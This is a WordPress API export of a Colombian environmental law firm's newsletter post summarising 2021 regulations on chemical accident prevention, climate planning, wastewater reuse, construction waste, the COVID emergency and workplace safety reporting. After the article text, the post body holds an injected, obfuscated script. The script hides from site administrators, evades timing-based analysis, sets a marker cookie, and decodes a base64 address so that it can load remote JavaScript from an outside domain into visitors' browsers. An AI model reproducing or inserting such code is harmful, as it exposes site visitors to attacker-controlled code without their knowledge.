los siguientes elementos: el listado de sustancias qu\u00edmicas asociadas a accidentes mayores y cantidades umbral, el registro de instalaciones clasificadas, un sistema de gesti\u00f3n de la seguridad para la prevenci\u00f3n de accidentes mayores, el plan de emergencias y contingencias, el informe de<br \/>seguridad, el reporte de accidentes mayores, la investigaci\u00f3n de incidentes y accidentes mayores, la inspecci\u00f3n, vigilancia y control \u2013 IVC, la informaci\u00f3n disponible al p\u00fablico y la informaci\u00f3n con fines de gesti\u00f3n del riesgo y de ordenamiento territorial.<\/p>\n<p>Los responsables de instalaciones con presencia de sustancias qu\u00edmicas deben auto-clasificar las instalaciones a su cargo, como clasificadas o no clasificadas. Como instalaci\u00f3n<br \/>clasificada, el responsable deber\u00e1 registrarse ante el Ministerio del Trabajo, para su control y vigilancia, de acuerdo con los lineamientos que para tal fin expida ese ente.<\/p>\n<p>El responsable de la instalaci\u00f3n clasificada deber\u00e1 implementar adem\u00e1s un Sistema de Gesti\u00f3n de Seguridad para la Prevenci\u00f3n de Accidentes Mayores y articularlo con el Sistema de Gesti\u00f3n de la Seguridad y Salud en el Trabajo (SG-SST). Los lineamientos y gu\u00edas del mismo deber\u00e1n ser proferidos por el Ministerio del Trabajo a futuro y deber\u00e1 contar como m\u00ednimo con los siguientes elementos: la pol\u00edtica de prevenci\u00f3n de accidentes mayores,informaci\u00f3n de seguridad, identificaci\u00f3n de peligros, an\u00e1lisis y evaluaci\u00f3n de riesgos, participaci\u00f3n de los trabajadores, procedimientos de operaci\u00f3n, entrenamiento, evaluaci\u00f3n<br \/>de contratistas, revisi\u00f3n de seguridad pre-arranque, integridad mec\u00e1nica, permisos de trabajo, gesti\u00f3n del cambio, preparaci\u00f3n y respuesta ante emergencias, investigaci\u00f3n de incidentes y accidentes mayores, indicadores de desempe\u00f1o, auditor\u00edas de cumplimiento y revisi\u00f3n por la direcci\u00f3n.<\/p>\n<p>El responsable de la instalaci\u00f3n clasificada debe incluir en su PEC los escenarios de accidente mayor, con el fin de mitigar, reducir o controlar flujos de peligros sobre elementos vulnerables presentes en la instalaci\u00f3n y el entorno. Los Ministerios del Trabajo, de Ambiente y Desarrollo Sostenible y la Unidad Nacional para la Gesti\u00f3n del Riesgo de Desastres<br \/>UNGRD definir\u00e1n los est\u00e1ndares t\u00e9cnicos para la inclusi\u00f3n de los escenarios de accidentes mayores en los PEC, todo acorde con el Decreto 2157 de 2017 &#8211; Plan de Gesti\u00f3n del Riesgo<br \/>de Desastres.<\/p>\n<p>Los responsables de las instalaciones clasificadas deben entregar el Informe de Seguridad al Ministerio del Trabajo, el cual deber\u00e1 ser actualizado cada cinco (5) a\u00f1os, o, en los siguientes casos: (i) por la ocurrencia de un accidente mayor en la instalaci\u00f3n, (ii) si se cuenta con evidencia que comprometa la seguridad de la instalaci\u00f3n producto de los procesos de inspecci\u00f3n, vigilancia y control, (iii) si se cuenta con nuevos conocimientos tecnol\u00f3gicos relacionados con la prevenci\u00f3n de accidentes mayores, (iv) si se modifica el listado de Sustancias Qu\u00edmicas Peligrosas (SQP) asociadas a accidentes mayores, o (v) si se identifican nuevas instalaciones que deban clasificarse producto de nuevos proyectos, ampliaciones o debido a una condici\u00f3n inesperada en la operaci\u00f3n que suponga un riesgo mayor, no identificado previamente.<\/p>\n<p>Finalmente, las instalaciones clasificadas existentes contar\u00e1n con un plazo de dos (2) a\u00f1os a<br \/>partir de la expedici\u00f3n del reglamento y\/o lineamientos que mediante resoluci\u00f3n establezca el Ministerio del Trabajo.<\/p>\n<p><strong>Plan Integral de Gesti\u00f3n del Cambio Clim\u00e1tico para el sector Minero Energ\u00e9tico<\/strong><br \/><strong>Resoluci\u00f3n No. 40350 de 29-10-2021 &#8211; Ministerio de Minas y Energ\u00eda<\/strong><\/p>\n<p>Se modifica la Resoluci\u00f3n 40807 de 2018, adoptando el \u201cPlan Integral de Gesti\u00f3n de Cambio Clim\u00e1tico del Sector Minero Energ\u00e9tico 2050 (PIGCCme)\u201d, el cual hace parte integral de la resoluci\u00f3n y contiene la visi\u00f3n hacia la carbono-neutralidad y resiliencia clim\u00e1tica en el 2050.<\/p>\n<p>El Plan Integral de Gesti\u00f3n del Cambio Clim\u00e1tico del sector minero-energ\u00e9tico (PIGCCM- E) tiene como objetivo la reducci\u00f3n de la vulnerabilidad ante el cambio clim\u00e1tico y la promoci\u00f3n de un desarrollo bajo en carbono a nivel sectorial, fortaleciendo y protegiendo la sostenibilidad y competitividad de la industria.<\/p>\n<p>El PIGCCM-E, se constituye como un instrumento a trav\u00e9s del cual el Ministerio de Minas y Energ\u00eda (MME) identifica, eval\u00faa y orienta la incorporaci\u00f3n de estrategias de mitigaci\u00f3n de gases de efecto invernadero (GEI) y de adaptaci\u00f3n al cambio clim\u00e1tico en la planeaci\u00f3n sectorial, que contempla las condiciones clim\u00e1ticas cambiantes y la coordinaci\u00f3n con el territorio donde se realizar\u00e1n las acciones.<\/p>\n<p>Se pretende fortalecer integralmente las capacidades institucionales, t\u00e9cnicas, de gesti\u00f3n y conocimiento del sector para enfrentar tempranamente los compromisos y riesgos derivados del cambio clim\u00e1tico, convirti\u00e9ndolos en una oportunidad para la innovaci\u00f3n y la mejora de la competitividad sectorial.<\/p>\n<p>El PIGCCM-E se encuentra estructurado en tres componentes: i) Mitigaci\u00f3n, ii) Adaptaci\u00f3n y iii) Gobernanza; como un componente transversal. Cada uno de estos componentes tiene l\u00edneas estrat\u00e9gicas, las cuales a su vez est\u00e1n divididas en acciones y actividades.<\/p>\n<p>El componente de adaptaci\u00f3n busca atender dos principales impactos negativos generados por los riesgos clim\u00e1ticos sobre la industria: afectaci\u00f3n a la producci\u00f3n minero energ\u00e9tica y aumento de conflictividad por afectaci\u00f3n a los territorios. Estos impactos se gestionar\u00e1n a trav\u00e9s de las siguientes l\u00edneas estrat\u00e9gicas: i) Infraestructura resiliente; en la que se incorpora la gesti\u00f3n del riesgo de desastres, ii) Planeaci\u00f3n de corto y largo plazo; por la cual se pretende fortalecer la planeaci\u00f3n y funcionamiento del sector iii) Gesti\u00f3n del entorno; que busca atender los impactos indirectos que se generan por la afectaci\u00f3n sobre los territorios y iv) informaci\u00f3n para la adaptaci\u00f3n; mediante la cual se busca disminuir las incertidumbres inherente a los procesos de adaptaci\u00f3n.<\/p>\n<p>Por otro lado, el componente de mitigaci\u00f3n tiene como principal objetivo la reducci\u00f3n de emisiones de GEI, a partir de la necesidad primordial de generar una reconversi\u00f3n tecnol\u00f3gica de equipos, procesos m\u00e1s eficientes energ\u00e9ticamente, transformaci\u00f3n de las zonas no interconectadas, diversificaci\u00f3n de la matriz energ\u00e9tica, modelos de tarificaci\u00f3n horaria y gesti\u00f3n de las emisiones fugitivas del sector de hidrocarburos. Esto es abordado por las siguientes l\u00edneas estrat\u00e9gicas: i) Eficiencia energ\u00e9tica, ii) Generaci\u00f3n de energ\u00eda, iii) Gesti\u00f3n de la demanda y iv) Emisiones fugitivas, las cuales cuentan con diferentes acciones para poder generar un marco normativo, de gesti\u00f3n y de planeaci\u00f3n que permita el cumplimiento de estos objetivos y construcci\u00f3n de capacidades.<\/p>\n<p>Finalmente existen cinco l\u00edneas estrat\u00e9gicas transversales: i) Gesti\u00f3n financiera, ii) Monitoreo Reporte y Verificaci\u00f3n (MRV), iii) Gesti\u00f3n del conocimiento, iv) Operatividad y v) Cooperaci\u00f3n y desarrollo resiliente, las cuales buscan generar las condiciones para el desarrollo, implementaci\u00f3n y seguimiento de los objetivos de reducci\u00f3n de emisiones de GEI y aumento de resiliencia ante las amenazas generadas por el cambio clim\u00e1tico, todas \u00e9stas enmarcadas en el componente de Gobernanza.<\/p>\n<p>Se reglamenta el uso de las aguas residuales<br \/>Resoluci\u00f3n No. 1256 de 23-11-2021 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<\/p>\n<p>Derogando la Resoluci\u00f3n 1207 de 2014, la norma tiene como objeto establecer disposiciones para el uso de aguas residuales, definidas como \u201clas aguas utilizadas o servidas, de origen<br \/>dom\u00e9stico o no dom\u00e9stico\u201d, regulando tanto la recirculaci\u00f3n, como el re\u00faso.<\/p>\n<p>En cuanto a la recirculaci\u00f3n, todo usuario del recurso h\u00eddrico podr\u00e1 hacerla, siempre que sea<br \/>viable t\u00e9cnica y econ\u00f3micamente, sin que se requiera autorizaci\u00f3n ambiental. La recirculaci\u00f3n se define como el uso de las aguas residuales en operaciones y procesos unitarios dentro de la misma actividad econ\u00f3mica que las genera y por parte del mismo Usuario Generador, sin que exista contacto con el suelo al momento de su uso, salvo cuando se trate de suelo de soporte de infraestructura.<\/p>\n<p>Para el seguimiento y control de la recirculaci\u00f3n del agua residual en suelos de soporte de infraestructura por parte de la Autoridad Ambiental, se deber\u00e1 mantener a su disposici\u00f3n la<br \/>siguiente informaci\u00f3n: i) Balance H\u00eddrico del sistema de recirculaci\u00f3n de la actividad econ\u00f3mica, ii) Identificaci\u00f3n de los riesgos potenciales a los recursos naturales renovables derivados del uso de las Aguas Residuales y, iii) Medidas preventivas que se deben aplicar<br \/>para evitar los riesgos potenciales identificados. En todo caso, el caso de la recirculaci\u00f3n del agua residual en suelos de soporte de infraestructura no deber\u00e1 generar escorrent\u00eda.<\/p>\n<p>En cuanto al re\u00faso, se requerir\u00e1 concesi\u00f3n de aguas para adquirir el derecho al uso de las aguas residuales como bien de uso p\u00fablico, salvo lo dispuesto en el art\u00edculo 148 del Decreto-<br \/>Ley 2811 de 1974 (Aguas Lluvias). El suministro de las cantidades (volumen o caudal) de agua requeridas para el re\u00faso est\u00e1 sujeto a la disponibilidad definida por parte del Usuario Generador. El Usuario Receptor de Aguas Residuales es responsable del cumplimiento de las disposiciones establecidas en la resoluci\u00f3n.<\/p>\n<p>Las aguas residuales se podr\u00e1n usar en los usos agr\u00edcola e industrial de que tratan los art\u00edculos 2.2.3.3.2.5 y 2.2.3.3.2.8 del Decreto 1076 de 2015, cumpliendo adem\u00e1s con los<br \/>criterios de calidad del agua residual para el uso agr\u00edcola establecido en el art\u00edculo 2.2.3.3.9.5 del mismo decreto, as\u00ed como, con los criterios establecidos en la tabla del art\u00edculo 6o de la nueva norma.<\/p>\n<p>Para efectos del otorgamiento de la concesi\u00f3n de uso de las aguas residuales, el Usuario Receptor deber\u00e1 presentar a la Autoridad Ambiental, la siguiente informaci\u00f3n: i) Balance H\u00eddrico, ii) Identificaci\u00f3n de los riesgos potenciales a los recursos naturales renovables, iii) Medidas preventivas para evitar los riesgos potenciales identificados, iv) Para el uso agr\u00edcola, evaluaci\u00f3n de vulnerabilidad intr\u00ednseca de los acu\u00edferos a la contaminaci\u00f3n, v) Para el uso agr\u00edcola, se deber\u00e1 demostrar mediante mediciones in situ, la velocidad de infiltraci\u00f3n en el suelo, y, vi) Para el uso agr\u00edcola e industrial, un plan de monitoreo y seguimiento de la calidad y cantidad del agua residual empleada en el re\u00faso. La Autoridad Ambiental definir\u00e1 la frecuencia del monitoreo de calidad en el acto administrativo mediante el cual se pronuncie.<br \/>Las solicitudes de concesiones de agua residual o sus modificaciones que se radiquen en legal y debida forma antes de la entrada en vigencia de la resoluci\u00f3n, continuar\u00e1n rigi\u00e9ndose por<br \/>las disposiciones vigentes al momento de su radicaci\u00f3n. No obstante, el solicitante podr\u00e1 acogerse al nuevo r\u00e9gimen jur\u00eddico, para lo cual deber\u00e1 informarle a la autoridad ambiental<br \/>en un t\u00e9rmino m\u00e1ximo de seis (6) meses, contados a partir de la publicaci\u00f3n del acto administrativo.<\/p>\n<p>Modificada norma de Residuos de Construcci\u00f3n y Demolici\u00f3n \u2013 RCD<br \/>Resoluci\u00f3n No. 1257 de 23-11-2021 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<\/p>\n<p>Se modifica la Resoluci\u00f3n 0472 de 2017 sobre la gesti\u00f3n integral de Residuos de<br \/>Construcci\u00f3n y Demolici\u00f3n \u2013 RCD.<\/p>\n<p>Tiene como base la estrategia nacional de econom\u00eda circular, promoviendo el aprovechamiento de subproductos y el cierre de ciclos de materiales, priorizando la revalorizaci\u00f3n de RCD como uno de los mecanismos para la generaci\u00f3n de sistemas productivos eficientes y sostenibles en materia ambiental, social y econ\u00f3mica.<\/p>\n<p>La norma contempla el aprovechamiento de RCD, que podr\u00e1 hacerse en plantas de aprovechamiento fijas o m\u00f3viles y\/o mediante un receptor, persona natural o jur\u00eddica, sin la obligatoriedad de que la gesti\u00f3n de RCD constituya su principal actividad econ\u00f3mica, el cual puede utilizar este tipo de residuos como materia prima dentro de su proceso productivo mediante lo que la resoluci\u00f3n denomina \u201csimbiosis industrial\u201d.<\/p>\n<p>El gran generador deber\u00e1 informar a la autoridad ambiental competente las cantidades de RCD aprovechable a entregar al receptor, al menos 30 d\u00edas antes de su gesti\u00f3n. La norma tambi\u00e9n contempla que en caso de que el aprovechamiento de los residuos est\u00e9 asociado a<br \/>actividades estructurales como uso de material para nivelaci\u00f3n de terrenos, reutilizaci\u00f3n para relleno de redes de servicios p\u00fablicos, reconformaci\u00f3n de taludes, entre otras, el generador deber\u00e1 presentar tambi\u00e9n una copia de la licencia o actuaci\u00f3n urban\u00edstica de su proyecto, obra<br \/>o actividad.<\/p>\n<p>El documento tambi\u00e9n presenta modificaciones respecto a la meta de aprovechamiento de RCD. Sin embargo, las metas de aprovechamiento en la nueva resoluci\u00f3n van acorde a la categor\u00eda del municipio donde se localice el proyecto, obra o actividad de acuerdo a la siguiente tabla:<\/p>\n<p>Se establecen nuevas obligaciones para grandes y peque\u00f1os generadores, para el receptor, los gestores de RCD, entes territoriales (Departamentos, Municipios, Distritos) y autoridades<br \/>ambientales competentes. Finalmente, se modifican los anexos con los formatos que deben ser diligenciados por los gestores, generadores, receptores y autoridades ambientales a trav\u00e9s del Sistema de Informaci\u00f3n Ambiental para Colombia, SIAC.<\/p>\n<h2>Se extiende la emergencia sanitaria hasta 2022<br \/>Resoluci\u00f3n No. 1913 de 25-11-2021 &#8211; Ministerio de Salud y Protecci\u00f3n Social<\/h2>\n<p>Originalmente declarada mediante la Resoluci\u00f3n No. 385 de 2020 en virtud de la pandemia<br \/>de Coronavirus COVID -19, una vez m\u00e1s el Gobierno Nacional a trav\u00e9s del Ministerio de Salud y Protecci\u00f3n Social prorroga la Emergencia Sanitaria por tres (3) meses m\u00e1s, esto es, hasta el 28 de febrero de 2022.<\/p>\n<p>Deber\u00e1 mantenerse el cumplimiento de las medidas sanitarias restrictivas establecidas en el art\u00edculo 2o de la Resoluci\u00f3n 385 de 2020, sucesivamente modificadas. La emergencia<br \/>sanitaria podr\u00e1 finalizar antes de la fecha aqu\u00ed se\u00f1alada, cuando desaparezcan las causas que le dieron origen.<\/p>\n<h2>Gesti\u00f3n Integral de Sustancias Qu\u00edmicas de Uso Industrial<br \/>Decreto No. 1630 de 30-11-2021 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<\/h2>\n<p>Adicionando Libro 2, Parte 2 del Decreto 1076 de 2015 con un nuevo T\u00edtulo denominado \u201cGesti\u00f3n Ambiental de Sustancias Qu\u00edmicas\u201d, se reglamenta la gesti\u00f3n integral de sustancias qu\u00edmicas de uso industrial que de acuerdo con el Sistema Globalmente Armonizado de Clasificaci\u00f3n y Etiquetado de Productos Qu\u00edmicos &#8211; SGA, sean identificadas o clasificadas con alguna clase de categor\u00eda o clase de peligro.<\/p>\n<p>La norma aplica en todo el territorio nacional a las personas naturales o jur\u00eddicas que gestionen Sustancias Qu\u00edmicas seg\u00fan la clasificaci\u00f3n del SGA en el marco de su producci\u00f3n, importaci\u00f3n, uso, comercializaci\u00f3n, distribuci\u00f3n o transporte.<br \/>El decreto ha dispuesto los siguientes cuatro (4) principales instrumentos para la Gesti\u00f3n Integral de Sustancias Qu\u00edmicas, a saber:<br \/>1. Inventario Nacional de Sustancias Qu\u00edmicas de Uso Industrial<br \/>2. Instrumentos de priorizaci\u00f3n de las sustancias qu\u00edmicas que hagan parte del inventario<br \/>nacional.<br \/>3. Evaluaci\u00f3n de riesgo.<br \/>4. Programas de reducci\u00f3n y manejo del riesgo para el ambiente o para la salud.<br \/>Establece obligaciones para los importadores o fabricantes, los comercializadores y distribuidores, los transportadores y los usuarios de las sustancias qu\u00edmicas de uso industrial, entre otras: (i) garantizar la gesti\u00f3n integral del riesgo en las etapas de fabricaci\u00f3n e importaci\u00f3n; (ii) identificar, clasificar, etiquetar y elaborar la Ficha de Datos de Seguridad (FDS) de las sustancias qu\u00edmicas de acuerdo con el SGA; (iii) proporcionar la informaci\u00f3n requerida en el Inventario Nacional y su Priorizaci\u00f3n a trav\u00e9s del aplicativo; (iv) tener disponible de manera permanente la informaci\u00f3n de las evaluaciones de riesgo y los programas de reducci\u00f3n y manejo del riesgo para la salud y el ambiente; (v) proporcionar la informaci\u00f3n que requieran las autoridades competentes respecto de los instrumentos para la gesti\u00f3n de las sustancias qu\u00edmicas de uso industrial y realizar las acciones que estas soliciten como resultado del proceso de inspecci\u00f3n, vigilancia y control; (vi) apoyar y participar en los procesos de investigaci\u00f3n sobre la gesti\u00f3n del riesgo asociado a las sustancias qu\u00edmicas de uso industrial; y, (vii) dar cumplimiento a la norma de transporte de mercanc\u00edas peligrosas por carretera.<br \/>Consagra el monitoreo ambiental de las sustancias qu\u00edmicas de uso industrial, determinando que el Ministerio de Ambiente y Desarrollo Sostenible, en el marco del Sistema de Informaci\u00f3n Ambiental para Colombia (SIAC), establecer\u00e1 un mecanismo de captura de informaci\u00f3n ambiental de las emisiones y transferencias de contaminantes que se generen a partir del uso de las sustancias objeto del decreto.<\/p>\n<p>As\u00ed mismo se consagra el monitoreo de los efectos en la salud por el uso de las sustancias qu\u00edmicas de uso industrial, creando el Sistema de Gesti\u00f3n Toxicol\u00f3gica, el cual determinar\u00e1 los componentes, procesos, procedimientos y responsables de proveer la informaci\u00f3n de la identificaci\u00f3n de peligros, la exposici\u00f3n y los efectos en la salud por las sustancias qu\u00edmicas de uso industrial, a cargo del Ministerio de Salud y Protecci\u00f3n Social, con el apoyo t\u00e9cnico del Ministerio de Trabajo, el cual debe definir los mecanismos de recopilaci\u00f3n, validaci\u00f3n y reporte al Sistema de Gesti\u00f3n Toxicol\u00f3gica, sobre los factores de riesgo y eventos por exposici\u00f3n ocupacional a sustancias qu\u00edmicas de uso industrial en el marco de sus competencias.<\/p>\n<p>Los datos que se utilicen en los instrumentos deben provenir de fuentes de informaci\u00f3n confiables que cumplan con alguno de los requisitos establecidos en los numerales 2 y 3 del art\u00edculo 5 del Decreto 1496 de 2018 (SGA), o sean recomendadas por los Ministerios de Salud y Protecci\u00f3n Social, del Trabajo y de Ambiente y Desarrollo Sostenible.<\/p>\n<h2>Autoevaluaci\u00f3n de los est\u00e1ndares m\u00ednimos del SG-SST<br \/>Circular No. 0072 de 30-11-2021 &#8211; Ministerio del Trabajo<\/h2>\n<p>Por medio de la cual el Ministerio del Trabajo da instrucciones para el reporte de autoevaluaciones y planes de mejoramiento del Sistema de Gesti\u00f3n de la Seguridad y Salud en el Trabajo \u2013 SG-SST, as\u00ed:<\/p>\n<p>1. Todos los a\u00f1os en el mes de diciembre, se debe realizar la autoevaluaci\u00f3n y como resultado un plan de mejora de los est\u00e1ndares m\u00ednimos del a\u00f1o en curso.<br \/>2. Todos los a\u00f1os en el mes de diciembre, se debe formular el plan anual del a\u00f1o siguiente.<br \/>3. Todas las empresas, antes del 31 de enero de cada a\u00f1o, deben registrar a trav\u00e9s del aplicativo del Fondo de Riesgos Laborales (www.fondoriesgoslaborales.gov.co), la<br \/>Autoevaluaci\u00f3n y el Plan de Mejora.<br \/>4. Todos los a\u00f1os se debe remitir a la Administradora de Riesgos Laborales \u2013 ARL, la<br \/>Autoevaluaci\u00f3n y el Plan de Mejora.<br \/>5. Todos los a\u00f1os en el mes de julio, se debe rendir informe del avance del plan de<br \/>mejora, teniendo en cuenta las recomendaciones de la ARL.<\/p>\n<h2>Bolet\u00edn Informativo No. 4 de 2021 (Octubre y Noviembre de 2021) Alvarez Abogados Ambientales S.A.S.<\/h2>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>BOLET\u00cdN INFORMATIVO No. 4 de 2021 Plan Estrate\u0301gico de Seguridad Vial &#8211; PESVDecreto No. 1252 de 12-10-2021 &#8211; Ministerio de Transporte \u00a0 El Ministerio de Transporte y la Agencia Nacional de Seguridad Vial (ANSV) reglamentanel Art\u00edculo 110 del Decreto Ley-2106 de 2019, con relaci\u00f3n a los Planes Estrat\u00e9gicos de Seguridad Vial (PESV) e incentivan la [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[55],"tags":[],"class_list":["post-1530","post","type-post","status-publish","format-standard","hentry","category-ambiental"],"blocksy_meta":[],"_links":{"self":[{"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/posts\/1530","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/comments?post=1530"}],"version-history":[{"count":3,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/posts\/1530\/revisions"}],"predecessor-version":[{"id":2761,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/posts\/1530\/revisions\/2761"}],"wp:attachment":[{"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/media?parent=1530"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/categories?post=1530"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/es\/wp-json\/wp\/v2\/tags?post=1530"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}